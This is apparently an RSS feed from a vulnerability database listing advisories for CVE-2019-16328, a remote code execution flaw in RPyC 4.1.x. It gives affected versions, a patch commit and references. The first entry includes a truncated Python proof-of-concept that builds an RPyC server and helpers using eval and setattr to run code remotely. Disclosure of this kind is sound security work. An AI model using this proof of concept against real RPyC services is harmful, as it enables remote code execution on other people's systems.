https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-15T21:33:41.395803+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/brew-pwntools-cve-2019-16328 BREW-pwntools-CVE-2019-16328 — Dynamic modification of RPyC service due to missing security check 2026-10-15T21:33:41.412710+00:00

Affected: Homebrew: pwntools

### Impact Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.

### Patches Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.

### Workarounds The commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.

### References [CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328) [RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)

### For more information If you have any questions or comments about this advisory: * Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)

### Proof of Concept ``` import logging import rpyc import tempfile from subprocess import Popen, PIPE import unittest

PORT = 18861 SERVER_SCRIPT = f"""#!/usr/bin/env python import rpyc from rpyc.utils.server import ThreadedServer, ThreadPoolServer from rpyc import SlaveService import rpyc

class Foe(object): foo = "bar"

class Fee(rpyc.Service): exposed_Fie = Foe

def exposed_nop(self): return

if __name__ == "__main__": server = ThreadedServer(Fee, port={PORT}, auto_register=False) thd = server.start() """

def setattr_orig(target, attrname, codeobj): setattr(target, attrname, codeobj)

def myeval(self=None, cmd="__import__('sys')"): return eval(cmd)

def get_code(obj_codetype, f…

 https://cve.radiocsirt.org/vuln/cve-2019-16328 CVE-2019-16328 2026-10-15T21:33:41.412803+00:00

In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.

 https://cve.radiocsirt.org/vuln/ghsa-9ggp-4jpr-7ppj Withdrawn: GHSA-9ggp-4jpr-7ppj — Duplicate Advisory: Possible remote code execution via a remote procedure call 2026-10-15T21:33:41.412829+00:00

Withdrawn by the publisher.

Affected: PyPI: rpyc

Withdrawn: duplicate of GHSA-pj4g-4488-wmxm

## Original Description

In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.